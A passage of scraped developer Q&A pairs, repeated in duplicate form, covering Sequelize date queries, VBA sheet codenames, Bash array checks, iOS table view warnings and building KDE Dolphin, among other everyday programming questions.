            include: [apartments_child]
        });
</code>```

My model:

```<code>    const { DataTypes, Model } = require('sequelize');
    const sequelize = require('../../../mysql_connection/sequilize');
    const admins = require('./admins');
    const apartments_child = require('./apartments_child');

    class apartments_order extends Model { }

    apartments_order.init({
        // Model attributes are defined here
        apoid: {
            type: DataTypes.INTEGER,
            primaryKey: true
        },
        invoiceNo: {
            type: DataTypes.STRING
        },
        apid: {
            type: DataTypes.INTEGER
        },
        apcid: {
            type: DataTypes.INTEGER
        },
        apcbid: {
            type: DataTypes.INTEGER
        },
        totalCost: {
            type: DataTypes.DECIMAL
        },
        dateCreated: {
            type: DataTypes.DATE
        },
        dateUpdated: {
            type: DataTypes.DATE
        },
        createdBy: {
            type: DataTypes.STRING
        },
        updatedBy: {
            type: DataTypes.STRING
        },
        status: {
            type: DataTypes.STRING
        }
    }, {
        sequelize,
        timestamps: false,
        logging: false,
        tableName: 'apartments_order'
    });

    apartments_order.hasOne(admins, { foreignKey: 'aid', sourceKey: 'createdBy' });
    apartments_order.hasOne(apartments_child, { foreignKey: 'apcid', sourceKey: 'apcid' });

    module.exports = apartments_order;
</code>```

答:
One thing that you can do is use a setter and getter for the columns.

Follow an example (on your field declaration, you can manipulate the data inside getter() and setter():

```<code>dateUpdated: {
    type: Sequelize.STRING,
    defaultValue: '[]',
    get() {
        const d = this.getDataValue('dateUpdated');
        return format(d, 'Y-m-d');

    },
    set(value) {
        return this.setDataValue('dateUpdated', format(value, <your-format-here>)
    },
    type: DataTypes.DATE,
},
</code>```

Title: date_format with sequelize mysql

Body:
I am using sequelize for my backend and I want to add a where condition with YYYY-mm-dd

In mysql we use date_format(dateCreated, "%d-%m-%Y").

But how to achieve it in Sequelize. I searched all over the google but nothing helped me out

My present Sequelize query. I want to get data of dateCreated = '2020-05-31'.

const apartmentOrdersData = await apartments_order.findAll(
        {
            where: { apid: req.body.apid }, group: ['apcid'],
            attributes: ['apcid', [sequelize.fn('sum', sequelize.col('totalCost')), 'total_amount'],],
            include: [apartments_child]
        });

My model:

    const { DataTypes, Model } = require('sequelize');
    const sequelize = require('../../../mysql_connection/sequilize');
    const admins = require('./admins');
    const apartments_child = require('./apartments_child');

    class apartments_order extends Model { }

    apartments_order.init({
        // Model attributes are defined here
        apoid: {
            type: DataTypes.INTEGER,
            primaryKey: true
        },
        invoiceNo: {
            type: DataTypes.STRING
        },
        apid: {
            type: DataTypes.INTEGER
        },
        apcid: {
            type: DataTypes.INTEGER
        },
        apcbid: {
            type: DataTypes.INTEGER
        },
        totalCost: {
            type: DataTypes.DECIMAL
        },
        dateCreated: {
            type: DataTypes.DATE
        },
        dateUpdated: {
            type: DataTypes.DATE
        },
        createdBy: {
            type: DataTypes.STRING
        },
        updatedBy: {
            type: DataTypes.STRING
        },
        status: {
            type: DataTypes.STRING
        }
    }, {
        sequelize,
        timestamps: false,
        logging: false,
        tableName: 'apartments_order'
    });

    apartments_order.hasOne(admins, { foreignKey: 'aid', sourceKey: 'createdBy' });
    apartments_order.hasOne(apartments_child, { foreignKey: 'apcid', sourceKey: 'apcid' });

    module.exports = apartments_order;

Body:
One thing that you can do is use a setter and getter for the columns.

Follow an example (on your field declaration, you can manipulate the data inside getter() and setter():

dateUpdated: {
    type: Sequelize.STRING,
    defaultValue: '[]',
    get() {
        const d = this.getDataValue('dateUpdated');
        return format(d, 'Y-m-d');

    },
    set(value) {
        return this.setDataValue('dateUpdated', format(value, <your-format-here>)
    },
    type: DataTypes.DATE,
},


问:
Declare multiple worksheets as variables
I am trying to declare some variables for the worksheets in this way

```<code>Dim e
For Each e In Array("Data", "CL", "SE", "GE", "E1", "E2", "E3", "E4", "E5", "STP", "STF", "RH", "CR", "MC", "AW")
    Set wsData = ThisWorkbook.Worksheets(e)
Next e
</code>```

Is it possible to declare all the worksheets using the 1d array ..? If not, is there a workaround to smart approach to do that ..?
example wsData to refer to the worksheet "Data"
and wsCL to refer to the worksheet "CL" and so on.

答:
You can't have variable variable names in VBA. What you can do though is refer to a worksheet by it's codename. For example:

```<code>with wsData
    'code
end with
</code>```

Now Excel usually assigns codenames to the sheet in the form 'Sheet1", "Sheet2".. etc. What you'd want to do is to change those codenames to the name you want, so that you can refer to them as in your question. In order to change them you can run a loop like so:

```<code>Sub setSheetCodenames()

Dim ws As Worksheet

For Each ws In ActiveWorkbook.Worksheets
    ws.[_CodeName] = "ws" & ws.Name
Next

End Sub
</code>```

This will result in the sheet "Data" being able to be referred to as "wsData", sheet CL as "wsCL" and so forth.

Note: This assumes your sheets are already created. If they aren't then you need to create them first before running this code.

Body:
I am trying to declare some variables for the worksheets in this way

Dim e
For Each e In Array("Data", "CL", "SE", "GE", "E1", "E2", "E3", "E4", "E5", "STP", "STF", "RH", "CR", "MC", "AW")
    Set wsData = ThisWorkbook.Worksheets(e)
Next e

Is it possible to declare all the worksheets using the 1d array ..? If not, is there a workaround to smart approach to do that ..?
example wsData to refer to the worksheet "Data"
and wsCL to refer to the worksheet "CL" and so on.

Body:
You can't have variable variable names in VBA. What you can do though is refer to a worksheet by it's codename. For example:

with wsData
    'code
end with

Now Excel usually assigns codenames to the sheet in the form 'Sheet1", "Sheet2".. etc. What you'd want to do is to change those codenames to the name you want, so that you can refer to them as in your question. In order to change them you can run a loop like so:

Sub setSheetCodenames()

Dim ws As Worksheet

For Each ws In ActiveWorkbook.Worksheets
    ws.[_CodeName] = "ws" & ws.Name
Next

End Sub

This will result in the sheet "Data" being able to be referred to as "wsData", sheet CL as "wsCL" and so forth.

Note: This assumes your sheets are already created. If they aren't then you need to create them first before running this code.


问:
Getting error : 'Incorrect syntax near the keyword 'Database'.' in SQL Server data access
I have written this code:

```<code>public static string GetConnectionString(string connectionName="MvcwebDB")
{
    return ConfigurationManager.ConnectionStrings[connectionName].ConnectionString;
}

public static List<T> LoadData<T>(string sql)
{
    using(IDbConnection cnn = new SqlConnection(GetConnectionString()))
    {
        return cnn.Query<T>(sql).ToList();
    }
}

public static int SaveData<T>(string sql, T data)
{
    using (IDbConnection cnn = new SqlConnection(GetConnectionString()))
    {
        return cnn.Execute(sql, data);
    }
}
</code>```

I am getting an error at cnn.Execute:

Incorrect syntax near the keyword 'Database

This is the connection string:

```<code><connectionStrings>
    <add name="MvcwebDB"
         connectionString="Data Source=(localdb)\MSSQLLocalDB;Initial Catalog=MvcwebDB;Integrated Security=True;Connect Timeout=60;Encrypt=False;TrustServerCertificate=True;ApplicationIntent=ReadWrite;MultiSubnetFailover=False"
         providerName="System.Data.SqlClient"/>
</connectionStrings>
</code>```

答:
Welcome to the community.

This is happening because you likely have a syntax error in the connection string within your config.

It should follow something like:
Server=myServerAddress;Database=myDataBase;Trusted_Connection=True;

Check out connectionstrings.com for more info.

Body:
I have written this code:

public static string GetConnectionString(string connectionName="MvcwebDB")
{
    return ConfigurationManager.ConnectionStrings[connectionName].ConnectionString;
}

public static List<T> LoadData<T>(string sql)
{
    using(IDbConnection cnn = new SqlConnection(GetConnectionString()))
    {
        return cnn.Query<T>(sql).ToList();
    }
}

public static int SaveData<T>(string sql, T data)
{
    using (IDbConnection cnn = new SqlConnection(GetConnectionString()))
    {
        return cnn.Execute(sql, data);
    }
}

I am getting an error at cnn.Execute:

Incorrect syntax near the keyword 'Database

This is the connection string:

<connectionStrings>
    <add name="MvcwebDB"
         connectionString="Data Source=(localdb)\MSSQLLocalDB;Initial Catalog=MvcwebDB;Integrated Security=True;Connect Timeout=60;Encrypt=False;TrustServerCertificate=True;ApplicationIntent=ReadWrite;MultiSubnetFailover=False"
         providerName="System.Data.SqlClient"/>
</connectionStrings>


问:
Using s3, node js
i'm trying to make a http request using 'request' for nodeJS. But it doesn't work.

It keeps writing 'require is not defined'. I have uploaded my index.html file to my s3 bucket, as well as my node_modules folder and my package.json file.

```<code><!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/react/0.14.7/react.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/react/0.14.7/react-dom.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/babel-core/5.8.20/browser.min.js"></script>
    <script data-main="js.config" src="js/r.js"></script>
</head>
<body>
<div id="app"></div>
<script type="text/babel">

const request = require('request');

</script>
</code>```

This is how the index.html file looks like. It's not the whole file. But it's only the 'require' part is making trouble..
Let me know if you need any more info.

Hope someone can help.

答:
You cannot use the request package on a client side script in that way, pointed out by many of the comments posted. That being said, if you want to have an App with a Node JS Backend for the serverside, you probably shouldn't be using AWS S3 anyways. There are many options for you if you plan to make a Backend App with Node JS:

AWS EC2 with Node JS

AWS Lambda

AWS Elastic Beanstalk

Some of these options, notably the EC2 and Lambda, have free tier options. Hopefully this helps you.

ContentLicense: CC BY-SA 3.0

Title: Using s3, node js

Body:
i'm trying to make a http request using 'request' for nodeJS. But it doesn't work.

It keeps writing 'require is not defined'. I have uploaded my index.html file to my s3 bucket, as well as my node_modules folder and my package.json file.

<!DOCTYPE html>

   <meta charset="UTF-8">
    <title>Title</title>

This is how the index.html file looks like. It's not the whole file. But it's only the 'require' part is making trouble..
Let me know if you need any more info.

Hope someone can help.


问:
BASH: Best way to set variable from array
Bash 4 on Linux ~

I have an array of possible values. I must restrict user input to these values.

```<code>Arr=(hello kitty goodbye quick fox)
</code>```

User supplies value as argument to script:

```<code>bash myscript.sh -b var
</code>```

Currently, I'm trying the following:

```<code>function func_exists () {
_var="$1"
for i in ${Arr[@]}
do
    if [ "$i" == "$_var" ]
    then
        echo hooray for "$_var"
        return 1
    fi
done
    return 0
}

func_exists $var
if [ $? -ne 1 ];then
    echo "Not a permitted value."
    func_help
    exit $E_OPTERROR
fi
</code>```

Seems to work fine, are there better methods for testing user input against an array of allowed values?

UPDATE: I like John K's answer ...can someone clarify the use of $@? I understand that this represents all positional parameters -- so we shift the first param off the stack and $@ now represents all remaining params, those being the passed array ...is that correct? I hate blindly using code without understanding ...even if it works!

答:
Another solution. is_in is just a variable:</p>

```<code>Arr=(hello kitty goodbye quick fox)

var='quick'

string=" ${Arr[*]} "                            # array to string, framed with blanks
is_in=1                                         # false
# try to delete the variable inside the string; true if length differ
[ "$string" != "${string/ ${var} /}" ] && is_in=0

echo -e "$is_in"
</code>```

Body:
Bash 4 on Linux ~

I have an array of possible values. I must restrict user input to these values.

Arr=(hello kitty goodbye quick fox)

User supplies value as argument to script:

bash myscript.sh -b var

Currently, I'm trying the following:

function func_exists () {
_var="$1"
for i in ${Arr[@]}
do
    if [ "$i" == "$_var" ]
    then
        echo hooray for "$_var"
        return 1
    fi
done
    return 0
}

func_exists $var
if [ $? -ne 1 ];then
    echo "Not a permitted value."
    func_help
    exit $E_OPTERROR
fi

Seems to work fine, are there better methods for testing user input against an array of allowed values?

UPDATE: I like John K's answer ...can someone clarify the use of $@? I understand that this represents all positional parameters -- so we shift the first param off the stack and $@ now represents all remaining params, those being the passed array ...is that correct? I hate blindly using code without understanding ...even if it works!

Body:
Another solution. is_in is just a variable:

Arr=(hello kitty goodbye quick fox)

var='quick'

string=" ${Arr[*]} "                            # array to string, framed with blanks
is_in=1                                         # false
# try to delete the variable inside the string; true if length differ
[ "$string" != "${string/ ${var} /}" ] && is_in=0

echo -e "$is_in"


问:
Is there a list about the supported ML-Algorithms in TensorFlow?
I am writing my bachelor thesis on "Machine Learning in Java" and compare frameworks and libraries. Currently I am collecting information about the different machine learning algorithms supported by the framework. I write them down in Excel, and use this data to evaluate the individual frameworks. Now to my problem:

I can't find a list of supported ML algorithms in TensorFlow (Java-API). Is there a quick overview that I can use for this? I have already googled desperately, no success so far. Could someone please help me, that would be great.

答:
The list of tensorflow optimizers can be found here:
https://www.tensorflow.org/api_docs/python/tf/keras/optimizers</p>


问:
Advice on Web Service or related technology
I am developing a system that must be able to receive an XML  messages (preferably without SOAP envelope) from other's company external system through the internet. I am not sure what technology is external system written in.
The developers from the external company must create a XML sending feature. I would like to minimazie their effort.
Is WCF good choice for that?

The OS will be either Windows XP with IIS 5.1 or Windows Server 2003 with IIS 6.0.
.NET Framework is 3.5.

Thanks.

答: It really depends by your business. If they need call a service on  you can create either a WCF or a WebSerivice (which conceptually are exactly the same things) but probably they need to change something on their side to call your service. In the case you go for this road I can suggest you to use a SOAP envelop to authenticate the sender putting kind of token in the header. Another solution (in the case the XML is very big let’s say we are talking about an XML that contain a least of all the new products) you could use an FTP and pick up the XML file from there.</p>


问:
Error message with moreNavigationController
I've decision customizing the tableView in moreNavigationController, I tested it and work great and no problem but why am I getting error:

2020-05-31 17:16:23.395903-0600 Code Notes[1472:329155] [TableView] Warning once only: UITableView was told to layout its visible cells and other contents without being in the view hierarchy (the table view or one of its superviews has not been added to a window). This may cause bugs by forcing views inside the table view to load and perform layout without accurate information (e.g. table view bounds, trait collection, layout margins, safe area insets, etc), and will also cause unnecessary performance overhead due to extra layout passes. Make a symbolic breakpoint at UITableViewAlertForLayoutOutsideViewHierarchy to catch this in the debugger and see what caused this to occur, so you can avoid this action altogether if possible, or defer it until the table view has been added to a window. Table view: <_UIMoreListTableView: 0x13a866e00; frame = (0 44; 414 852); clipsToBounds = YES; autoresize = W+H; gestureRecognizers = ; layer = ; contentOffset: {0, 0}; contentSize: {414, 176}; adjustedContentInset: {0, 0, 0, 0}; dataSource: >

I am not sure how can I resolve it, how can I solve it?
Here my codes:

```<code>if let moretableview = moreNavigationController.topViewController?.view as? UITableView {
   moretableview.backgroundColor = UIColor(named: "mainbackground")
   for cell in moretableview.visibleCells {
      cell.backgroundColor = UIColor.clear
   }
}
</code>```

答:
Timing is everything. By saying </p>

```<code>moreNavigationController.topViewController?.view
</code>```

<p>at the time you are saying it, you are forcing the table view controller to get its view prematurely. You are then modifying the view, which is a table view, when it has not yet entered the interface. This causes the runtime to complain. </p>

Body:
I've decision customizing the tableView in moreNavigationController, I tested it and work great and no problem but why am I getting error:

2020-05-31 17:16:23.395903-0600 Code Notes[1472:329155] [TableView] Warning once only: UITableView was told to layout its visible cells and other contents without being in the view hierarchy (the table view or one of its superviews has not been added to a window). This may cause bugs by forcing views inside the table view to load and perform layout without accurate information (e.g. table view bounds, trait collection, layout margins, safe area insets, etc), and will also cause unnecessary performance overhead due to extra layout passes. Make a symbolic breakpoint at UITableViewAlertForLayoutOutsideViewHierarchy to catch this in the debugger and see what caused this to occur, so you can avoid this action altogether if possible, or defer it until the table view has been added to a window. Table view: <_UIMoreListTableView: 0x13a866e00; frame = (0 44; 414 852); clipsToBounds = YES; autoresize = W+H; gestureRecognizers = ; layer = ; contentOffset: {0, 0}; contentSize: {414, 176}; adjustedContentInset: {0, 0, 0, 0}; dataSource: >

I am not sure how can I resolve it, how can I solve it?
Here my codes:

if let moretableview = moreNavigationController.topViewController?.view as? UITableView {
   moretableview.backgroundColor = UIColor(named: "mainbackground")
   for cell in moretableview.visibleCells {
      cell.backgroundColor = UIColor.clear
   }
}

Body:
Timing is everything. By saying

moreNavigationController.topViewController?.view

at the time you are saying it, you are forcing the table view controller to get its view prematurely. You are then modifying the view, which is a table view, when it has not yet entered the interface. This causes the runtime to complain.


问:
How can I build KDE Dolphin from its source code?
I'm using Ubuntu 15.04 x64.

I cloned the Dolphin repository from git://anongit.kde.org/dolphin. I then proceeded to build the directory by:

```<code>mkdir build
cd build
cmake ..
</code>```

But when I run the CMake command I get:

```<code>-- The C compiler identification is GNU 4.9.2
-- The CXX compiler identification is GNU 4.9.2
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Looking for __GLIBC__
-- Looking for __GLIBC__ - found
-- Performing Test _OFFT_IS_64BIT
-- Performing Test _OFFT_IS_64BIT - Success
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5DocTools"
  (requested version 5.16.0) with any of the following names:

    KF5DocToolsConfig.cmake
    kf5doctools-config.cmake

  Add the installation prefix of "KF5DocTools" to CMAKE_PREFIX_PATH or set
  "KF5DocTools_DIR" to a directory containing one of the above files.  If
  "KF5DocTools" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5DocTools: found neither KF5DocToolsConfig.cmake nor kf5doctools-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Init"
  (requested version 5.16.0) with any of the following names:

    KF5InitConfig.cmake
    kf5init-config.cmake

  Add the installation prefix of "KF5Init" to CMAKE_PREFIX_PATH or set
  "KF5Init_DIR" to a directory containing one of the above files.  If
  "KF5Init" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Init: found neither KF5InitConfig.cmake nor kf5init-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5KCMUtils"
  (requested version 5.16.0) with any of the following names:

    KF5KCMUtilsConfig.cmake
    kf5kcmutils-config.cmake

  Add the installation prefix of "KF5KCMUtils" to CMAKE_PREFIX_PATH or set
  "KF5KCMUtils_DIR" to a directory containing one of the above files.  If
  "KF5KCMUtils" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5KCMUtils: found neither KF5KCMUtilsConfig.cmake nor kf5kcmutils-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5NewStuff"
  (requested version 5.16.0) with any of the following names:

    KF5NewStuffConfig.cmake
    kf5newstuff-config.cmake

  Add the installation prefix of "KF5NewStuff" to CMAKE_PREFIX_PATH or set
  "KF5NewStuff_DIR" to a directory containing one of the above files.  If
  "KF5NewStuff" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5NewStuff: found neither KF5NewStuffConfig.cmake nor kf5newstuff-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5CoreAddons"
  (requested version 5.16.0) with any of the following names:

    KF5CoreAddonsConfig.cmake
    kf5coreaddons-config.cmake

  Add the installation prefix of "KF5CoreAddons" to CMAKE_PREFIX_PATH or set
  "KF5CoreAddons_DIR" to a directory containing one of the above files.  If
  "KF5CoreAddons" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5CoreAddons: found neither KF5CoreAddonsConfig.cmake nor kf5coreaddons-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5I18n"
  (requested version 5.16.0) with any of the following names:

    KF5I18nConfig.cmake
    kf5i18n-config.cmake

  Add the installation prefix of "KF5I18n" to CMAKE_PREFIX_PATH or set
  "KF5I18n_DIR" to a directory containing one of the above files.  If
  "KF5I18n" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5I18n: found neither KF5I18nConfig.cmake nor kf5i18n-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5DBusAddons"
  (requested version 5.16.0) with any of the following names:

    KF5DBusAddonsConfig.cmake
    kf5dbusaddons-config.cmake

  Add the installation prefix of "KF5DBusAddons" to CMAKE_PREFIX_PATH or set
  "KF5DBusAddons_DIR" to a directory containing one of the above files.  If
  "KF5DBusAddons" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5DBusAddons: found neither KF5DBusAddonsConfig.cmake nor kf5dbusaddons-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Bookmarks"
  (requested version 5.16.0) with any of the following names:

    KF5BookmarksConfig.cmake
    kf5bookmarks-config.cmake

  Add the installation prefix of "KF5Bookmarks" to CMAKE_PREFIX_PATH or set
  "KF5Bookmarks_DIR" to a directory containing one of the above files.  If
  "KF5Bookmarks" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Bookmarks: found neither KF5BookmarksConfig.cmake nor kf5bookmarks-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Config"
  (requested version 5.16.0) with any of the following names:

    KF5ConfigConfig.cmake
    kf5config-config.cmake

  Add the installation prefix of "KF5Config" to CMAKE_PREFIX_PATH or set
  "KF5Config_DIR" to a directory containing one of the above files.  If
  "KF5Config" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Config: found neither KF5ConfigConfig.cmake nor kf5config-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5KIO" (requested
  version 5.16.0) with any of the following names:

    KF5KIOConfig.cmake
    kf5kio-config.cmake

  Add the installation prefix of "KF5KIO" to CMAKE_PREFIX_PATH or set
  "KF5KIO_DIR" to a directory containing one of the above files.  If "KF5KIO"
  provides a separate development package or SDK, be sure it has been
  installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5KIO: found neither KF5KIOConfig.cmake nor kf5kio-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Parts"
  (requested version 5.16.0) with any of the following names:

    KF5PartsConfig.cmake
    kf5parts-config.cmake

  Add the installation prefix of "KF5Parts" to CMAKE_PREFIX_PATH or set
  "KF5Parts_DIR" to a directory containing one of the above files.  If
  "KF5Parts" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Parts: found neither KF5PartsConfig.cmake nor kf5parts-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Solid"
  (requested version 5.16.0) with any of the following names:

    KF5SolidConfig.cmake
    kf5solid-config.cmake

  Add the installation prefix of "KF5Solid" to CMAKE_PREFIX_PATH or set
  "KF5Solid_DIR" to a directory containing one of the above files.  If
  "KF5Solid" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Solid: found neither KF5SolidConfig.cmake nor kf5solid-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5IconThemes"
  (requested version 5.16.0) with any of the following names:

    KF5IconThemesConfig.cmake
    kf5iconthemes-config.cmake

  Add the installation prefix of "KF5IconThemes" to CMAKE_PREFIX_PATH or set
  "KF5IconThemes_DIR" to a directory containing one of the above files.  If
  "KF5IconThemes" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5IconThemes: found neither KF5IconThemesConfig.cmake nor kf5iconthemes-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Completion"
  (requested version 5.16.0) with any of the following names:

    KF5CompletionConfig.cmake
    kf5completion-config.cmake

  Add the installation prefix of "KF5Completion" to CMAKE_PREFIX_PATH or set
  "KF5Completion_DIR" to a directory containing one of the above files.  If
  "KF5Completion" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Completion: found neither KF5CompletionConfig.cmake nor kf5completion-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5TextWidgets"
  (requested version 5.16.0) with any of the following names:

    KF5TextWidgetsConfig.cmake
    kf5textwidgets-config.cmake

  Add the installation prefix of "KF5TextWidgets" to CMAKE_PREFIX_PATH or set
  "KF5TextWidgets_DIR" to a directory containing one of the above files.  If
  "KF5TextWidgets" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5TextWidgets: found neither KF5TextWidgetsConfig.cmake nor kf5textwidgets-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5WindowSystem"
  (requested version 5.16.0) with any of the following names:

    KF5WindowSystemConfig.cmake
    kf5windowsystem-config.cmake

  Add the installation prefix of "KF5WindowSystem" to CMAKE_PREFIX_PATH or
  set "KF5WindowSystem_DIR" to a directory containing one of the above files.
  If "KF5WindowSystem" provides a separate development package or SDK, be
  sure it has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5WindowSystem: found neither KF5WindowSystemConfig.cmake nor kf5windowsystem-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Notifications"
  (requested version 5.16.0) with any of the following names:

    KF5NotificationsConfig.cmake
    kf5notifications-config.cmake

  Add the installation prefix of "KF5Notifications" to CMAKE_PREFIX_PATH or
  set "KF5Notifications_DIR" to a directory containing one of the above
  files.  If "KF5Notifications" provides a separate development package or
  SDK, be sure it has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Notifications: found neither KF5NotificationsConfig.cmake nor kf5notifications-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Crash"
  (requested version 5.16.0) with any of the following names:

    KF5CrashConfig.cmake
    kf5crash-config.cmake

  Add the installation prefix of "KF5Crash" to CMAKE_PREFIX_PATH or set
  "KF5Crash_DIR" to a directory containing one of the above files.  If
  "KF5Crash" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Crash: found neither KF5CrashConfig.cmake nor kf5crash-config.cmake
CMake Error at /usr/share/cmake-3.0/Modules/FindPackageHandleStandardArgs.cmake:136 (message):
  Could NOT find KF5 (missing: DocTools Init KCMUtils NewStuff CoreAddons
  I18n DBusAddons Bookmarks Config KIO Parts Solid IconThemes Completion
  TextWidgets WindowSystem Notifications Crash) (Required is at least version
  "5.16.0")
Call Stack (most recent call first):
  /usr/share/cmake-3.0/Modules/FindPackageHandleStandardArgs.cmake:343 (_FPHSA_FAILURE_MESSAGE)
  /usr/share/ECM/find-modules/FindKF5.cmake:113 (find_package_handle_standard_args)
  CMakeLists.txt:50 (find_package)

-- Configuring incomplete, errors occurred!
See also "/home/nic/kde/dolphin/build/CMakeFiles/CMakeOutput.log".
</code>```

It looks like I'm missing the KDE Framework Libs. But I can't seem to find a way to install them on my computer. How should I go about building Dolphin from its source code for development purposes?

答:
For anyone else looking to fix the CMake errors of the following type:

```<code>Could not find a package configuration file provided by "KF5DocTools"
Could not find a package configuration file provided by "KF5Init"
Could not find a package configuration file provided by "KF5KCMUtils"
...
</code>```

These and similar errors containing "KF5…" indicate that CMake cannot find packages with the KDE5 header files. On Ubuntu, you can install them with:

```<code>sudo apt install libkf5*-dev kirigami2-dev
</code>```

Body:
I'm using Ubuntu 15.04 x64.

I cloned the Dolphin repository from git://anongit.kde.org/dolphin. I then proceeded to build the directory by:

mkdir build
cd build
cmake ..

But when I run the CMake command I get:

-- The C compiler identification is GNU 4.9.2
-- The CXX compiler identification is GNU 4.9.2
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Looking for __GLIBC__
-- Looking for __GLIBC__ - found
-- Performing Test _OFFT_IS_64BIT
-- Performing Test _OFFT_IS_64BIT - Success
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5DocTools"
  (requested version 5.16.0) with any of the following names:

    KF5DocToolsConfig.cmake
    kf5doctools-config.cmake

  Add the installation prefix of "KF5DocTools" to CMAKE_PREFIX_PATH or set
  "KF5DocTools_DIR" to a directory containing one of the above files.  If
  "KF5DocTools" provides a separate development package or SDK, be sure it
  has been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5DocTools: found neither KF5DocToolsConfig.cmake nor kf5doctools-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
  Could not find a package configuration file provided by "KF5Init"
  (requested version 5.16.0) with any of the following names:

    KF5InitConfig.cmake
    kf5init-config.cmake

  Add the installation prefix of "KF5Init" to CMAKE_PREFIX_PATH or set
  "KF5Init_DIR" to a directory containing one of the above files.  If
  "KF5Init" provides a separate development package or SDK, be sure it has
  been installed.
Call Stack (most recent call first):
  CMakeLists.txt:50 (find_package)

-- Could NOT find KF5Init: found neither KF5InitConfig.cmake nor kf5init-config.cmake
CMake Warning at /usr/share/ECM/find-modules/FindKF5.cmake:77 (find_package):
